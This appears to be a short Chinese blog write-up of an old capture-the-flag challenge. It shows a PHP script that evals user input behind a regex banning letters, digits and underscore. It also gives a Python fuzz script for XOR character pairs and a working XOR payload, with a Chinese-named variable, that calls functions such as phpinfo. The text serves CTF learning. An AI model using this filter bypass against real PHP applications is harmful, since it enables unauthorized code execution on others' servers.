前段时间看了一个比赛,题目应该算是比较旧的了
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Long.");
}
$a = preg_match("/[A-Za-z0-9_]+/",$code);
print_r($a);
if($a){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
代码中有提示,可以执行getFlag()这个函数获取flag
这个题目的考点就在于正则这块儿了
不能出现字母数字还有下划线,之前有比赛题目是可以出现下划线的
那这里就可以写一小小段代码来fuzz一下,哪些字符通过异或可以产生a-zA-Z_
import string
s = string.printable[62:62+32]
s1 = string.printable[:62]
for i in s:
for j in s:
x = chr(ord(i)^ord(j))
if x in s1+'_':
print '{0}\t{1}\t{2}'.format(i,j,x)
然后需要将异或产生的字符串保存到变量中,这里有一个坑,我们学到的php变量命名规则是需要"a-zA-Z_"这样的字符作为变量开头,但是这里全都给禁用了,所以使用中文作为变量(我搞不太懂这里的原理,有表哥知道的请指正)
由于题目中已经给出了hint,所以直接构造getFlag函数即可,目前已知最短payload(这里我用phpinfo做测试)
$啊="-@-@@[@"^"](]).=/";$啊();
参考文章: